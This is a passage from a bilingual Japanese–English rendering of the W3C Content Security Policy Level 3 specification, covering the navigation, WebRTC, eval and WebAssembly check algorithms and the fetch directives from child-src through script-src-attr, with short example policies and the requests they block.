         注記： 大域~objは存在しないので、 大域~objとして ~NULL を利用する — ~naviは、 `Document^I が作成される所までは まだ処理されていない。 ◎ Note: We use null for the global object, as no global exists: we haven’t processed the navigation to create a Document yet.

      3. %違反 の`資源$vr ~SET %~navi応答 の`~URL$rs ◎ Set violation’s resource to navigation response’s URL.
      4. `違反を報告する$A( %違反 ) ◎ Execute § 5.5 Report a violation on violation.
      5. ~IF［ %施策 の`処置先$ ~EQ `enforce^l ］ ⇒ %結果 ~SET `阻止される^i ◎ If policy’s disposition is "enforce", then set result to "Blocked".

4. %~navi要請 の`施策~容器$rqの`~CSP~list$pCを成す ~EACH( %施策 ) に対し： ◎ For each policy of navigation request’s policy container’s CSP list:

   注記： %~navi要請 における一部の指令（ `frame-ancestors$dir など）は、 ~naviに動作する前に %応答 を必要とする。 ◎ Note: Some directives in the navigation request’s context (like frame-ancestors) need the response before acting on the navigation.

   1. %施策 の`指令~集合$を成す ~EACH( %指令 ) に対し： ◎ For each directive of policy:

      1. ~IF［ %指令 の`~navi応答~検査$A( %~navi要請, %種別, %~navi応答, %~target, `source^l, %施策 ) ~EQ `許容される^i ］ ⇒ ~CONTINUE ◎ If directive’s navigation response check returns "Allowed" when executed upon navigation request, type, navigation response, target, "source", and policy skip to the next directive.
      2. %違反 ~LET `新たな違反~obj$A1( %~navi要請 の`~client$rqの`大域~obj$enV, %施策, %指令 の`名前$ ) ◎ Otherwise, let violation be the result of executing § 2.4.1 Create a violation object for global, policy, and directive on navigation request’s client’s global object, policy, and directive’s name.
      3. %違反 の`資源$vr ~SET %~navi要請 の`~URL$rq ◎ Set violation’s resource to navigation request’s URL.
      4. `違反を報告する$A( %違反 ) ◎ Execute § 5.5 Report a violation on violation.
      5. ~IF［ %施策 の`処置先$ ~EQ `enforce^l ］ ⇒ %結果 ~SET `阻止される^i ◎ If policy’s disposition is "enforce", then set result to "Blocked".
5. ~RET %結果 ◎ Return result.

4.2.6. 大域~obj用に~CSP初期化を走らす

次の~algoは、 所与の ( `大域~obj$ %大域~obj ) に対し， %大域~obj 用の~CSPを初期化する。 この~algoは、 %大域~obj 【用の~scriptを走らすこと】は［ 許容されるならば `許容される^i ／ 許容されないならば `阻止される^i ］を返す： ◎ Given a global object global, the user agent performs the following steps in order to initialize CSP for global. This algorithm returns "Allowed" if global is allowed, and "Blocked" otherwise:

1. %大域~obj が`有する~CSP~list$を成す ~EACH( %施策 ) に対し ⇒ %施策 の`指令~集合$を成す ~EACH( %指令 ) に対し ⇒ ~IF［ %指令 の`初期化$A( %大域~obj【, %施策】 ) の結果 ~EQ `阻止される^i ］ ⇒ ~RET `阻止される^i ◎ Let result be "Allowed". ◎ For each policy of global’s CSP list: • For each directive of policy: •• Execute directive’s initialization algorithm on global. If its returned value is "Blocked", then set result to "Blocked". • Return result.
2. ~RET `許容される^i ◎ ↑

4.3.1. ~WebRTC接続は大域~objに対し阻止されるべきか？

この~algoは、 所与の ( `大域~obj$ %大域~obj ) に対し，［ %大域~obj 用に作動中な施策は~WebRTC接続を阻止するならば `阻止される^i／ ~ELSE_ `許容される^i ］を返す： ◎ Given a global object global, this algorithm returns "Blocked" if the active policy for global blocks RTC connections, and "Allowed" otherwise:

1. %結果 ~LET `許容される^i ◎ Let result be "Allowed".

2. %大域~obj が`有する~CSP~list$を成す ~EACH( %施策 ) に対し： ◎ For each policy of global’s CSP list:

   1. %施策 の`指令~集合$を成す ~EACH( %指令 ) に対し： ◎ For each directive of policy:

      1. ~IF［ %指令 の`~WebRTC接続前~検査$A() の結果 ~EQ `許容される^i ］ ⇒ ~CONTINUE ◎ If directive’s webrtc pre-connect check returns "Allowed", continue.
      2. %違反 ~LET `新たな違反~obj$A1( %大域~obj, %施策, %指令 の`名前$ ) ◎ Otherwise, let violation be the result of executing § 2.4.1 Create a violation object for global, policy, and directive on global, policy, and directive’s name.
      3. %違反 の`資源$vr ~SET ~NULL ◎ Set violation’s resource to null.
      4. `違反を報告する$A( %違反 ) ◎ Execute § 5.5 Report a violation on violation.
      5. ~IF［ %施策 の`処置先$ ~EQ `enforce^l ］ ⇒ %結果 ~SET `阻止される^i ◎ If policy’s disposition is "enforce", then set result to "Blocked".
3. ~RET %結果 ◎ Return result.

4.4.1. `EnsureCSPDoesNotBlockStringCompilation^jA( %~realm, %~parameter文字列~群, %本体~文字列, %~code文字列, %~compilation種別, %~parameter引数~群, %本体~引数 )

この~algoは、 所与の ⇒＃ `~realm$ %~realm, 文字列たちが成す~list %~parameter文字列~群, 文字列 %本体~文字列, 文字列 %~code文字列, 列挙値 %~compilation種別, ~ES言語~値たちが成す~list %~parameter引数~群, ~ES言語~値 %本体~引数 ◎終 に対し， 文字列の~compilationは［ 許容されるならば何もしない／ 許容されないならば `EvalError$E を投出する ］： ◎ Given a realm realm, a list of strings parameterStrings, a string bodyString, a string codeString, an enum (compilationType), a list of ECMAScript language values (parameterArgs), and an ECMAScript language value (bodyArg), this algorithm returns normally if string compilation is allowed, and throws an "EvalError" if not:

1. %~source文字列 ~LET ε ◎ ↓
2. ~IF［ %~compilation種別 ~EQ `TIMER^l ］ ⇒ %~source文字列 ~SET %~code文字列 ◎ If compilationType is "TIMER", then: • Let sourceString be codeString.

3. ~ELSE： ◎ Else:

   1. %~compilation~sink ~LET %~compilation種別 に応じて ⇒＃ `FUNCTION^l ならば `Function^l ／ ~ELSE_ `eval^l ◎ Let compilationSink be "Function" if compilationType is "FUNCTION", and "eval" otherwise.
   2. %信用-済みか ~LET ~IS［ %本体~引数 は `TrustedScript$I を`実装-$する ］ ◎ Let isTrusted be true if bodyArg implements TrustedScript, and false otherwise.

   3. ~IF［ %信用-済みか ~EQ ~T ］~AND［ %本体~文字列 ~NEQ %本体~引数 の`~data$trS ］ ⇒ %信用-済みか ~SET ~F ◎ If isTrusted is true then: • If bodyString is not equal to bodyArg’s data, set isTrusted to false.

   4. ~IF［ %信用-済みか ~EQ ~T ］： ◎ If isTrusted is true, then:

      1. ~Assert: %~parameter引数~群 の`~size$ ~EQ %~parameter文字列~群 の`~size$ ◎ Assert: parameterArgs’ [list/size=] is equal to [parameterStrings]' size.

      2. `範囲$ { 0 〜 %~parameter引数~群 の`~size$ ~MINUS 1 } を成す ~EACH( %~index ) に対し： ◎ For each index of the range 0 to |parameterArgs]' [list/size=]:

         1. %引数 ~LET %~parameter引数~群[ %~index ] ◎ Let arg be parameterArgs[index].

         2. ~IF［ %引数 は `TrustedScript$I を`実装-$する ］： ◎ If arg implements TrustedScript, then:

            1. ~IF［ %~parameter文字列~群[ %~index ] ~NEQ %引数 の`~data$trS ］ ⇒ %信用-済みか ~SET ~F ◎ if parameterStrings[index] is not equal to arg’s data, set isTrusted to false.
         3. ~ELSE ⇒ %信用-済みか ~SET ~F ◎ Otherwise, set isTrusted to false.
   5. %検証される~source ~LET `新たな~obj$( `TrustedScript$I, %~realm ) ◎ Let sourceToValidate be a new TrustedScript object created in realm＼
   6. %検証される~source の`~data$trS ~SET %信用-済みか に応じて ⇒＃ ~T ならば %~code文字列 ／ ~F ならば %~code文字列 【？】 ◎ whose data is set to codeString if isTrusted is true, and codeString otherwise.

   7. %~source文字列 ~SET `信用-済みな型に準拠な文字列を取得する$( ↓ ) ⇒＃ `TrustedScript$I, %~realm, %検証される~source, %~compilation~sink, `script^l ◎ Let sourceString be the result of executing the Get Trusted Type compliant string algorithm, with TrustedScript, realm, sourceToValidate, compilationSink, and 'script'.

      例外が投出されたときは、 ~catchして ⇒ ~THROW `EvalError$E ◎ If the algorithm throws an error, throw an EvalError.

   8. ~IF［ %~source文字列 ~NEQ %~code文字列 ］ ⇒ ~THROW `EvalError$E ◎ If sourceString is not equal to codeString, throw an EvalError.
4. %結果 ~LET `許容される^i ◎ Let result be "Allowed".
5. %大域~obj ~LET %~realm の`大域~obj$rM ◎ Let global be realm’s global object.

6. %大域~obj が`有する~CSP~list$を成す ~EACH( %施策 ) に対し： ◎ For each policy of global’s CSP list:

   1. %~source~list ~LET ~NULL ◎ Let source-list be null.
   2. ~IF［ %施策 の`指令~集合$内に［ `名前$ `script-src^l を伴う`指令$ ］は在る ］ ⇒ %~source~list ~SET その`指令$の`値$ ◎ If policy contains a directive whose name is "script-src", then set source-list to that directive's value.
   3. ~ELIF［ %施策 の`指令~集合$内に［ `名前$ `default-src^l を伴う`指令$ ］は在る ］ ⇒ %~source~list ~SET その`指令$の`値$ ◎ Otherwise if policy contains a directive whose name is "default-src", then set source-list to that directive’s value.

   4. ~IF［ %~source~list ~NEQ ~NULL ］~AND［ %~source~list は［ `~source式$ ~EQ`大小無視$sub `unsafe-eval$pl ］を包含しない ］： ◎ If source-list is not null, and does not contain a source expression which is an ASCII case-insensitive match for the string "'unsafe-eval'", then:

      1. %違反 ~LET `新たな違反~obj$A1( %大域~obj, %施策, `script-src$dir ) ◎ Let violation be the result of executing § 2.4.1 Create a violation object for global, policy, and directive on global, policy, and "script-src".
      2. %違反 の`資源$vr ~SET `eval^l ◎ Set violation’s resource to "eval".
      3. ~IF［ `report-sample^pl ~IN %~source~list ］ ⇒ %指令 の`見本$vr ~SET ［ %~source文字列 を成す最初から 40 個までの文字たち ］が成す文字列 ◎ If source-list contains the expression "'report-sample'", then set violation’s sample to the substring of sourceString containing its first 40 characters.
      4. `違反を報告する$A( %違反 ) ◎ Execute § 5.5 Report a violation on violation.
      5. ~IF［ %施策 の`処置先$ ~EQ `enforce^l ］ ⇒ %結果 ~SET `阻止される^i ◎ If policy’s disposition is "enforce", then set result to "Blocked".
7. ~IF［ %結果 ~EQ `阻止される^i ］ ⇒ ~THROW `EvalError$E ◎ If result is "Blocked", throw an EvalError exception.

4.5.1. `EnsureCSPDoesNotBlockWasmByteCompilationrealm^jA( %~realm )

この~algoは、 所与の ( `~realm$ %~realm ) に対し，~WebAssembly~sourceの~compilationは［ 許容されるならば何もしない／ 許容されないならば `CompileError$E を投出する ］： ◎ Given a realm realm, this algorithm returns normally if compilation is allowed, and throws a WebAssembly.CompileError if not:

1. %大域~obj ~LET %~realm の`大域~obj$rM ◎ Let global be realm’s global object.
2. %結果 ~LET `許容される^i ◎ Let result be "Allowed".

3. %大域~obj が`有する~CSP~list$を成す ~EACH( %施策 ) に対し： ◎ For each policy of global’s CSP list:

   1. %~source~list ~LET ~NULL ◎ Let source-list be null.
   2. ~IF［ %施策 の`指令~集合$内に［ `名前$ `script-src^l を伴う`指令$ ］は在る ］ ⇒ %~source~list ~SET その`指令$の`値$ ◎ If policy contains a directive whose name is "script-src", then set source-list to that directive's value.
   3. ~ELIF［ %施策 の`指令~集合$内に［ `名前$ `default-src^l を伴う`指令$ ］は在る ］ ⇒ %~source~list ~SET その指令の`値$ ◎ Otherwise if policy contains a directive whose name is "default-src", then set source-list to that directive’s value.

   4. ~IF［ %~source~list ~NEQ ~NULL ］~AND［ "`unsafe-eval$pl" ~NIN`大小無視$sub %~source~list ］~AND［ "`wasm-unsafe-eval$pl" ~NIN`大小無視$sub %~source~list ］： ◎ If source-list is non-null, and does not contain a source expression which is an ASCII case-insensitive match for the string "'unsafe-eval'", and does not contain a source expression which is an ASCII case-insensitive match for the string "'wasm-unsafe-eval'", then:

      1. %違反 ~LET `新たな違反~obj$A1( %大域~obj, %施策, `script-src^l ) ◎ Let violation be the result of executing § 2.4.1 Create a violation object for global, policy, and directive on global, policy, and "script-src".
      2. %違反 の`資源$vr ~SET `wasm-eval^l ◎ Set violation’s resource to "wasm-eval".
      3. `違反を報告する$A( %違反 ) ◎ Execute § 5.5 Report a violation on violation.
      4. ~IF［ %施策 の`処置先$ ~EQ `enforce^l ］ ⇒ %結果 ~SET `阻止される^i ◎ If policy’s disposition is "enforce", then set result to "Blocked".
4. ~IF［ %結果 ~EQ `阻止される^i ］ ⇒ ~THROW `CompileError$E ◎ If result is "Blocked", throw a WebAssembly.CompileError exception.

6.1.1. `child-src^dir

`child-src@dir 指令は、［ `子~navigable$（例： `iframe$e ／ `frame$e ~navi ） ／ `Worker^I 実行~文脈 ］の作成を統治する。 この指令の名前と値の構文は、 次の`~ABNF$で述べられる： ◎ The child-src directive governs the creation of child navigables (e.g. iframe and frame navigations) and Worker execution contexts. The syntax for the directive’s name and value is described by the following ABNF:

`directive-name$p
	= "child-src"
`directive-value$p
	= `serialized-source-list$p

この指令は、［ ~frame／~worker ］を拡充するような`要請$ — 正式には，次に該当する`要請$ — を制御する： ◎ This directive controls requests which will populate a frame or a worker. More formally, requests falling into one of the following categories:

• `行先$rq ~IN { `frame^l, `iframe^l, `object^l, `embed^l } ◎ destination is "frame", "iframe", "object", or "embed".
• `行先$rq ~IN { `serviceworker^l, `sharedworker^l, `worker^l } （順に，［ `ServiceWorker$I, `SharedWorker$I, `Worker$I ］用の`~workerを走らす$【／`~swを走らす$】~algoに投入される）。 ◎ destination is either "serviceworker", "sharedworker", or "worker" (which are fed to the run a worker algorithm for ServiceWorker, SharedWorker, and Worker, respectively).

`Content-Security-Policy$h:
    `child-src$dir https://example.com/

<iframe src="https://example.org"></iframe>
<script>
  var %blockedWorker = new Worker("data:application/javascript,...");
</script>

6.1.2. `connect-src^dir

`connect-src@dir 指令は、［ ~script~interfaceを利用して読込める~URL ］を制約する。 この指令の名前と値の構文は、 次の`~ABNF$で述べられる： ◎ The connect-src directive restricts the URLs which can be loaded using script interfaces. The syntax for the directive’s name and value is described by the following ABNF:

`directive-name$p
	= "connect-src"
`directive-value$p
	= `serialized-source-list$p

この指令は、 ~dataを他の生成元［ へ伝送する／から受信する ］ような`要請$を制御する。 それらには、 次の~APIが含まれる：［ `fetch()$m, `XHR$r, `EVENTSOURCE$r, `BEACON$r, `a$e 要素の `ping$a 属性 ］。 この指令は`また^em、 `WEBSOCKETS$r 接続も制御する — それは形上では~Fetchの一部を成さないが。 ◎ This directive controls requests which transmit or receive data from other origins. This includes APIs like fetch(), [XHR], [EVENTSOURCE], [BEACON], and a's ping. This directive also controls WebSocket [WEBSOCKETS] connections, though those aren’t technically part of Fetch.

`Content-Security-Policy$h:
    `connect-src$dir https://example.com/

<a ping="https://example.org">...
<script>
  var %xhr = new XMLHttpRequest();
  %xhr.open('GET', 'https://example.org/');
  %xhr.send();

  var %ws = new WebSocket("wss://example.org/");

  var %es = new EventSource("https://example.org/");

  navigator.sendBeacon("https://example.org/", { ... });
</script>

6.1.3. `default-src^dir

`default-src@dir 指令は、 他の`~fetch指令$用の~fallbackとして~~働く。 この指令の名前と値の構文は、 次の`~ABNF$で述べられる： ◎ The default-src directive serves as a fallback for the other fetch directives. The syntax for the directive’s name and value is described by the following ABNF:

`directive-name$p
	= "default-src"
`directive-value$p
	= `serialized-source-list$p

施策~内に `default-src$dir 指令が在る場合、 その値は，施策の既定の`~source~list$として利用されることになる。 すなわち， `default-src 'none'; script-src 'self'^s が与えられたなら、 ~script要請は，照合する`~source~list$として `self$pl を利用する。 他の要請は， `none$pl を利用することになる。 これは、［ `要請は~CSPにより阻止されるべきか？$A, `要請に対する応答は~CSPにより阻止されるべきか？$A ］~algoにてより詳細に~~述べられる。 ◎ If a default-src directive is present in a policy, its value will be used as the policy’s default source list. That is, given default-src 'none'; script-src 'self', script requests will use 'self' as the source list to match against. Other requests will use 'none'. This is spelled out in more detail in the § 4.1.2 Should request be blocked by Content Security Policy? and § 4.1.3 Should response to request be blocked by Content Security Policy? algorithms.

注記： 資源~hint — `prefetch$v や `preconnect$v など — が生成する要請は、 どの特定な`~fetch指令$にも束ねられない代わりに，［ すべての施策の すべての指令の`~source~list$にて許容される~serverたち ］が成す和集合により統治される。 `default-src$dir が指定されていない場合、 これらの要請は，常に許容されることになる。 さらなる情報は、 `§ 漏出＠#exfiltration$を見よ。 `HTML$r ◎ Resource hints such as prefetch and preconnect generate requests that aren’t tied to any specific fetch directive, but are instead governed by the union of servers allowed in all of a policy’s directives' source lists. If default-src is not specified, these requests will always be allowed. For more information, see § 8.6 Exfiltration. [HTML]

`Content-Security-Policy$h:
    `default-src$dir `self$pl

`Content-Security-Policy$h:
    `connect-src$dir `self$pl;
    `font-src$dir `self$pl;
    `frame-src$dir `self$pl;
    `img-src$dir `self$pl;
    `manifest-src$dir `self$pl;
    `media-src$dir `self$pl;
    `object-src$dir `self$pl;
    `script-src-elem$dir `self$pl;
    `script-src-attr$dir `self$pl;
    `style-src-elem$dir `self$pl;
    `style-src-attr$dir `self$pl;
    `worker-src$dir `self$pl

`Content-Security-Policy$h:
    `default-src$dir `self$pl;
    `script-src-elem$dir https://example.com

`Content-Security-Policy$h:
    `connect-src$dir `self$pl;
    `font-src$dir `self$pl;
    `frame-src$dir `self$pl;
    `img-src$dir `self$pl;
    `manifest-src$dir `self$pl;
    `media-src$dir `self$pl;
    `object-src$dir `self$pl;
    `script-src-elem$dir https://example.com;
    `script-src-attr$dir `self$pl;
    `style-src-elem$dir `self$pl;
    `style-src-attr$dir `self$pl;
    `worker-src$dir `self$pl

6.1.4. `font-src^dir

`font-src@dir 指令は、［ どの~URLから~font資源を読込んでもヨイか ］を制約する。 この指令の名前と値の構文は、 次の`~ABNF$で述べられる： ◎ The font-src directive restricts the URLs from which font resources may be loaded. The syntax for the directive’s name and value is described by the following ABNF:

`directive-name$p
	= "font-src"
`directive-value$p
	= `serialized-source-list$p

`Content-Security-Policy$h:
    `font-src$dir https://example.com/

<style>
  @font-face {
    font-family: "Example Font";
    src: url("https://example.org/font");
  }
  body {
    font-family: "Example Font";
  }
</style>

6.1.5. `frame-src^dir

`frame-src@dir 指令は、［ どの~URLを`子~navigable$内に読込んでもヨイか ］を制約する。 この指令の名前と値の構文は、 次の`~ABNF$で述べられる： ◎ The frame-src directive restricts the URLs which may be loaded into child navigables. The syntax for the directive’s name and value is described by the following ABNF:

`directive-name$p
	= "frame-src"
`directive-value$p
	= `serialized-source-list$p

`Content-Security-Policy$h:
    `frame-src$dir https://example.com/

<iframe src="https://example.org/">
</iframe>

6.1.6. `img-src^dir

`img-src@dir 指令は、［ どの~URLから画像~資源を読込んでもヨイか ］を制約する。 この指令の名前と値の構文は、 次の`~ABNF$で述べられる： ◎ The img-src directive restricts the URLs from which image resources may be loaded. The syntax for the directive’s name and value is described by the following ABNF:

`directive-name$p
	= "img-src"
`directive-value$p
	= `serialized-source-list$p

この指令は、 画像を読込む`要請$ — 正式には，次に該当する`要請$ — を制御する `FETCH$r ⇒ `行先$rq ~EQ `image^l ◎ This directive controls requests which load images. More formally, this includes requests whose destination is "image" [FETCH].

`Content-Security-Policy$h:
    `img-src$dir https://example.com/

<img src="https://example.org/img">

6.1.7. `manifest-src^dir

`manifest-src@dir 指令は、［ ~app~manifest `APPMANIFEST$r を読込んでもヨイ~URL ］を制約する。 この指令の名前と値の構文は、 次の`~ABNF$で述べられる： ◎ The manifest-src directive restricts the URLs from which application manifests may be loaded [APPMANIFEST]. The syntax for the directive’s name and value is described by the following ABNF:

`directive-name$p
	= "manifest-src"
`directive-value$p
	= `serialized-source-list$p

`Content-Security-Policy$h:
    `manifest-src$dir https://example.com/

<link rel="manifest" href="https://example.org/manifest">

6.1.8. `media-src^dir

`media-src@dir 指令は、［ どの~URLから［ 動画, 音声, および 結付けられた~text~track ］資源を読込んでもヨイか ］を制約する。 この指令の名前と値の構文は、 次の`~ABNF$で述べられる： ◎ The media-src directive restricts the URLs from which video, audio, and associated text track resources may be loaded. The syntax for the directive’s name and value is described by the following ABNF:

`directive-name$p
	= "media-src"
`directive-value$p
	= `serialized-source-list$p

`Content-Security-Policy$h:
    `media-src$dir https://example.com/

<audio src="https://example.org/audio"></audio>
<video src="https://example.org/video">
    <track kind="subtitles" src="https://example.org/subtitles">
</video>

6.1.9. `object-src^dir

`object-src@dir 指令は、［ どの~URLから~plugin内容を読込んでもヨイか ］を制約する。 この指令の名前と値の構文は、 次の`~ABNF$で述べられる： ◎ The object-src directive restricts the URLs from which plugin content may be loaded. The syntax for the directive’s name and value is described by the following ABNF:

`directive-name$p
	= "object-src"
`directive-value$p
	= `serialized-source-list$p

`Content-Security-Policy$h:
    `object-src$dir https://example.com/

<embed src="https://example.org/flash"></embed>
<object data="https://example.org/flash"></object>

~URLを伴わない~pluginにより内容が読込まれる場合 （たぶん、 `object$e 要素は `data$a 属性を欠いていて， 指定された `type^a に基づいて何らかの既定~pluginを読込もうとしている）、 `object-src$dir の値が `none$pl ならば，阻止されるモノトスル — 他の場合、 許容されることになる。 ◎ If plugin content is loaded without an associated URL (perhaps an object element lacks a data attribute, but loads some default plugin based on the specified type), it MUST be blocked if object-src’s value is 'none', but will otherwise be allowed.

注記： `object-src$dir 指令は、［ `object$e ／ `embed$e ］要素がそれ自身のために為す どの要請に対しても動作する。 これには、 前者の 2 つ（~naviも含む）により生成される`子~navigable$を拡充させる要請も含まれる。 このことは、［ `object$e 要素のうち~MIME型が `text/html^c であるもの ］など，~dataが［ さもなければ別の指令により制約されるような内容 ］に意味論的に等価であるときにも該当する。 ◎ Note: The object-src directive acts upon any request made on behalf of an object or embed element. This includes requests which would populate the child navigable generated by the former two (also including navigations). This is true even when the data is semantically equivalent to content which would otherwise be restricted by another directive, such as an object element with a text/html MIME type.

注記： ~plugin資源へ直に~navigateされるとき （すなわち、 `~navigable$の内側における`~plugin$ — ［ `embed$e ／ `object$e ］を介して下位資源として埋込まれたものではなく）、 その資源に伴って送達された`施策$は，その結果の`文書$に適用されることになる。 よって開発者は、 一例として，応答に施策 `object-src 'none'^dir を伴わせて送達することにより、 ~pluginを内容とする任意な資源の実行を防止できることになる。 これにより、 力を備えた~plugin （および Flash その他がときに呈する， “面白い” ~security~model） がある下でも， `Rosetta Flash＠https://miki.it/blog/2014/7/8/abusing-jsonp-with-rosetta-flash/$en の様な攻撃~行路の~riskを軽減できるようになる。 ◎ Note: When a plugin resource is navigated to directly (that is, as a plugin inside a navigable, and not as an embedded subresource via embed or object), any policy delivered along with that resource will be applied to the resulting Document. This means, for instance, that developers can prevent the execution of arbitrary resources as plugin content by delivering the policy object-src 'none' along with a response. Given plugins' power (and the sometimes-interesting security model presented by Flash and others), this could mitigate the risk of attack vectors like Rosetta Flash.

6.1.10. `script-src^dir

`script-src@dir 指令は、［ どの所在からの~scriptを実行してもヨイか ］を制約する。 これには、［ `script$e 要素の中に直に読込まれる~URL ］のみならず，［ ~inlineな~script~blockや~XSLT~stylesheet `XSLT$r の様な，~script実行を誘発し得るもの ］も含まれる。 この指令の名前と値の構文は、 次の`~ABNF$で述べられる： ◎ The script-src directive restricts the locations from which scripts may be executed. This includes not only URLs loaded directly into script elements, but also things like inline script blocks and XSLT stylesheets [XSLT] which can trigger script execution. The syntax for the directive’s name and value is described by the following ABNF:

`directive-name$p
	= "script-src"
`directive-value$p
	= `serialized-source-list$p

`script-src$dir 指令は、 すべての`~scriptに類する$行先 （ `worker-src$dir が無い場合は、 ~workerに特有な行先も含む） 用の既定の~fallbackとして動作する。 細かさが欲されない限り、［ `script-src-attr$dir ／ `script-src-elem$dir ］よりも `script-src^dir が利用されるべきである。 ほとんどの状況においては、［ ~inlineな~event~handler, `script$e 要素 ］用に別々な許可~listを特に備える理由は無いので。 ◎ The script-src directive acts as a default fallback for all script-like destinations (including worker-specific destinations if worker-src is not present). Unless granularity is desired script-src should be used in favor of script-src-attr and script-src-elem as in most situations there is no particular reason to have separate lists of permissions for inline event handlers and script elements.

`script-src$dir 指令は、 次に挙げるものについて統治する： ◎ The script-src directive governs six things:

• ~script`要請$は、 `要請は~CSPにより阻止されるべきか？$A に合格しなければナラナイ。 ◎ Script requests MUST pass through § 4.1.2 Should request be blocked by Content Security Policy?.
• ~script`応答$は、 `要請に対する応答は~CSPにより阻止されるべきか？$A に合格しなければナラナイ。 ◎ Script responses MUST pass through § 4.1.3 Should response to request be blocked by Content Security Policy?.

• ~inlineな `script$e 要素~blockは、 `要素における~inlineな型の挙動は~CSPにより阻止されるべきか？$A に合格しなければナラナイ。 その挙動は、 どの施策も 次のいずれかにより~inlineな~scriptを許容していない限り，阻止されることになる： ◎ Inline script blocks MUST pass through § 4.2.3 Should element’s inline type behavior be blocked by Content Security Policy?. Their behavior will be blocked unless every policy allows inline script, either＼

  • `script-src$dir （または `default-src$dir ）指令を指定しないことにより、 暗黙的に。 ◎ implicitly by not specifying a script-src (or default-src) directive,＼
  • その~inlineな~blockに合致する［ `unsafe-inline$pl ／ `nonce-source$p ／ `hash-source$p ］を，明示的に指定することにより。 ◎ or explicitly, by specifying "unsafe-inline", a nonce-source or a hash-source that matches the inline block.

• 次に挙げる~JS実行~sink†は、 `unsafe-eval$pl ~source式で通過制御される ⇒＃ `eval()＠~TC39#sec-eval-x$c ／ `Function()＠~TC39#sec-function-objects$c ／ `setTimeout()$m のうち，第一~引数は~callableでないもの【！~callable Iscallable】／ `setInterval()$m のうち，第一~引数は~callableでないもの ◎ The following JavaScript execution sinks are gated on the "unsafe-eval" source expression: • eval() • Function() • setTimeout() with an initial argument which is not callable. • setInterval() with an initial argument which is not callable.

  注記： ［ `setImmediate()^m や `execScript()^m ］の様な標準でない~sinkを実装する~UAは、 それらも `unsafe-eval$pl 上で通過制御するベキである。 `unsafe-eval^l は~pageに大域的な~flagとして動作するので、 この検査を遂行するときには［ `script-src-attr$dir ／ `script-src-elem$dir ］は利用されないことに注意 — 代わりに `script-src$dir （または その~fallback指令）が常に利用される。 ◎ Note: If a user agent implements non-standard sinks like setImmediate() or execScript(), they SHOULD also be gated on "unsafe-eval". Note: Since "unsafe-eval" acts as a global page flag, script-src-attr and script-src-elem are not used when performing this check, instead script-src (or it’s fallback directive) is always used.

  【† ~security文脈における~sink（ “槽” ）とは、 ~data~flowにおいて最初に~app層に渡される， 外部からの信用できない~data~sourceを意味する （ `参考＠https://code.google.com/p/domxsswiki/wiki/Sinks$ ）。 実行~sink（ `execution sink^en ）とは、 そのような~sinkのうち，［ ~scriptの~sourceとして構文解析され，実行され得る（したがって脆弱性の~sourceになり得る）~data~source ］を成すものを意味する。 】

• 次に挙げる~WebAssembly実行~sinkは、 ~source式［ `wasm-unsafe-eval$pl ／ `unsafe-eval$pl ］で通過制御される ⇒＃ `new WebAssembly.Module()＠~WASM/js-api/#dom-module-module$c `WebAssembly.compile()＠~WASM/js-api/#dom-webassembly-compile$c `WebAssembly.compileStreaming()＠~WASM/web-api/#dom-webassembly-compilestreaming$c `WebAssembly.instantiate()＠~WASM/js-api/#dom-webassembly-instantiate$c `WebAssembly.instantiateStreaming()＠~WASM/web-api/#dom-webassembly-instantiatestreaming$c ◎ The following WebAssembly execution sinks are gated on the "wasm-unsafe-eval" or the "unsafe-eval" source expressions: • new WebAssembly.Module() • WebAssembly.compile() • WebAssembly.compileStreaming() • WebAssembly.instantiate() • WebAssembly.instantiateStreaming()

  注記： ~source式 `wasm-unsafe-eval$pl は、 より特定な~source式である。 特に，~source式 `unsafe-eval$pl は、 ~WebAssemblyの~compilation（および~instance化）を許可することに加え， 例えば~JSにおける `eval()^c 【！eval】演算の利用も許可する。 ~source式 `wasm-unsafe-eval$pl は、 ~WebAssemblyのみを許可し，~JSには影響しない。 ◎ Note: the "wasm-unsafe-eval" source expression is the more specific source expression. In particular, "unsafe-eval" permits both compilation (and instantiation) of WebAssembly and, for example, the use of the "eval" operation in JavaScript. The "wasm-unsafe-eval" source expression only permits WebAssembly and does not affect JavaScript.

• `javascript_^sc ~URLへの~naviは、 `要素における~inlineな型の挙動は~CSPにより阻止されるべきか？$A に合格しなければナラナイ。 そのような~naviが，~scriptを実行するのは、 上の第 3 項【！#3】により，あらゆる施策が~inline~scriptを許容する場合に限られることになる。 ◎ Navigation to javascript: URLs MUST pass through § 4.2.3 Should element’s inline type behavior be blocked by Content Security Policy?. Such navigations will only execute script if every policy allows inline script, as per #3 above.

6.1.11. `script-src-elem^dir

この指令の名前と値の構文は、 次の`~ABNF$で述べられる： ◎ The syntax for the directive’s name and value is described by the following ABNF:

`directive-name$p
	= "script-src-elem"
`directive-value$p
	= `serialized-source-list$p

`script-src-elem@dir 指令は、 すべての［ ~script要請 ／ ~script~block ］に適用される。 ~scriptを実行する属性（~inlineな~event~handler）は、 `script-src-attr$dir を介して制御される。 ◎ The script-src-elem directive applies to all script requests and script blocks. Attributes that execute script (inline event handlers) are controlled via script-src-attr.

そのようなわけで， `script-src$dir に比較して次の相違点が存在する： ◎ As such, the following differences exist when comparing to script-src:

• `script-src-elem^dir が各種~inline検査に適用されるのは、 %型 ~IN { `script^l, `navigation^l } のときであり， %型 ~EQ `script attribute^l のときには無視される。 ◎ script-src-elem applies to inline checks whose |type| is "script" and "navigation" (and is ignored for inline checks whose |type| is "script attribute").
• `script-src-elem^dir の`値$は、［ `unsafe-eval^l 検査に対し通過制御される，~JS実行~sink検査 ］用には利用されない。 ◎ script-src-elem’s value is not used for JavaScript execution sink checks that are gated on the "unsafe-eval" check.
• `script-src-elem^dir は、 `worker-src$dir 指令~用の~fallbackとしては利用されない。 `worker-src^dir 検査は、 依然として， `script-src$dir 指令に~fall-backする。 ◎ script-src-elem is not used as a fallback for the worker-src directive. The worker-src checks still fall back on the script-src directive.

6.1.12. `script-src-attr^dir

この指令の名前と値の構文は、 次の`~ABNF$で述べられる： ◎ The syntax for the directive’s name and value is described by the following ABNF:

`directive-name$p
	= "script-src-attr"
`directive-value$p
	= `serialized-source-list$p

`script-src-attr@dir 指令は、 ~event~handlerに適用され、 在る場合，関連な検査~用に `script-src$dir 指令を上書きすることになる。 ◎ The script-src-attr directive applies to event handlers and, if present, it will override the script-src directive for relevant checks.

6.1.13. `style-src^dir

`style-src@dir 指令は、［ どの所在からの~styleを`文書$に適用してもヨイかどうか ］を制約する。 この指令の名前と値の構文は、 次の`~ABNF$で述べられる： ◎ The style-src directive restricts the locations from which style may be applied to a Document. The syntax for the directive’s name and value is described by the following ABNF:

`directive-name$p
